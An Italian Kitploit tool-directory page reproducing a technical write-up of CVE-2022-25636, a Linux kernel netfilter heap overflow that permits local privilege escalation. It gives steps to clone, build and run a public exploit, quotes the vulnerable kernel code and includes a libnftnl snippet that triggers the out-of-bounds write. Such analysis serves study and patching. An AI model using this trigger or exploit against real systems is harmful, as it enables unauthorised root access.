Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-25636 — Analisi tecnica dettagliata e write-up dell'exploit per CVE-2022-25636, una vulnerabilità di heap overflow nel kernel Linux relativa a netfilter che consente l'escalation locale dei privilegi tramite heap spraying e UAF. | Kitploit
Strumenti/GitHubGitHub/chenaotian/cve-2022-25636
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Analisi tecnica dettagliata e write-up dell'exploit per CVE-2022-25636, una vulnerabilità di heap overflow nel kernel Linux relativa a netfilter che consente l'escalation locale dei privilegi tramite heap spraying e UAF.

Vedi Repository
3244 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-25636 Escalation dei privilegi del kernel netfilter

[toc]

Panoramica della vulnerabilità

ID vulnerabilità: CVE-2022-25636

Prodotto vulnerabile: linux kernel - netfilter

Versioni interessate: linux kernel 5.4 ~

Impatto: scrittura heap out-of-bounds nel modulo kernel netfilter, può portare a escalation dei privilegi se si dispone di CAP_SYS_ADMIN.

Configurazione dell'ambiente

La vulnerabilità si trova nel modulo kernel netfilter, il codice vulnerabile è presente in 3 file .ko.

nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Avviare direttamente con qemu ha problemi, i .ko non vengono caricati. Si utilizza debug a due macchine con vmware.

ubuntu 21.10 può sostituire manualmente il kernel:

apt-get install linux-image-5.13.0-30-generic

Quindi eliminare il kernel originale e compilare l'exploit:

git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Risultato dell'escalation (successo inferiore al 50%):

image-20220318151010142

Principio della vulnerabilità

Punto di occorrenza della vulnerabilità

La funzione interessata è nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Durante l'impostazione di flow->rule->action.entries (una struttura a lunghezza variabile) non viene eseguito il controllo dei limiti dell'heap, portando a scrivere out-of-bounds un intero (4 o 5) e un puntatore.

Stack di chiamate

La funzione viene utilizzata in nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Si può vedere che la funzione nft_flow_rule_create alloca la struttura flow in base al numero di strutture rule passate dallo spazio utente e la elabora. Usa la variabile num_actions per contare, ma durante il conteggio considera solo le regole con il flag NFT_OFFLOAD_F_ACTION e alloca una struttura di dimensioni corrispondenti. Tuttavia, quando successivamente chiama offload, non usa num_actions per iterare, ma esegue lo stesso numero di iterazioni delle regole, senza più controllare il flag NFT_OFFLOAD_F_ACTION. In altre parole, quando ci sono regole senza il flag NFT_OFFLOAD_F_ACTION, il numero di chiamate a offload è maggiore del numero di elementi allocati in flow->rule->action.entries. Durante offload viene chiamata la funzione vulnerabile nft_fwd_dup_netdev_offload. Ogni chiamata incrementa ctx->num_actions, che è inizializzato a 0, e alla fine ctx->num_actions supera la dimensione dell'array flow->rule->action.entries, causando scrittura out-of-bounds.

Alcune strutture:

struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Stack di chiamate:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Utilizzo e attivazione di netfilter

Riferimento: https://www.openwall.com/lists/oss-security/2022/02/21/2

Questa email spiega come usare netfilter con le librerie C libmnl e libnftnl. Il punto principale per attivare la vulnerabilità è se la regola aggiunta ha il flag NFT_OFFLOAD_F_ACTION. Solo le regole aggiunte con nftnl_expr_alloc("immediate"); hanno il flag NFT_OFFLOAD_F_ACTION:

for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Sfruttamento della vulnerabilità

L'exploit non è molto stabile, ma la tecnica di sfruttamento è ingegnosa. La vulnerabilità scrive un puntatore non controllabile a un offset fisso out-of-bounds. Personalmente ritengo che la difficoltà di sfruttamento sia molto alta. Analizziamo brevemente la tecnica. Dal codice della vulnerabilità, ogni scrittura out-of-bounds può scrivere un intero (id, fisso a 4 o 5) e un puntatore (*dev), dove il puntatore punta a una struttura struct net_device. Qui ci concentriamo solo sulla scrittura del puntatore dev:

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

Riguardo alla struttura struct flow_rule, essendo una struttura a lunghezza variabile, l'intervallo di dimensioni che può allocare è cruciale per il successo dell'exploit.

Scarica lo strumento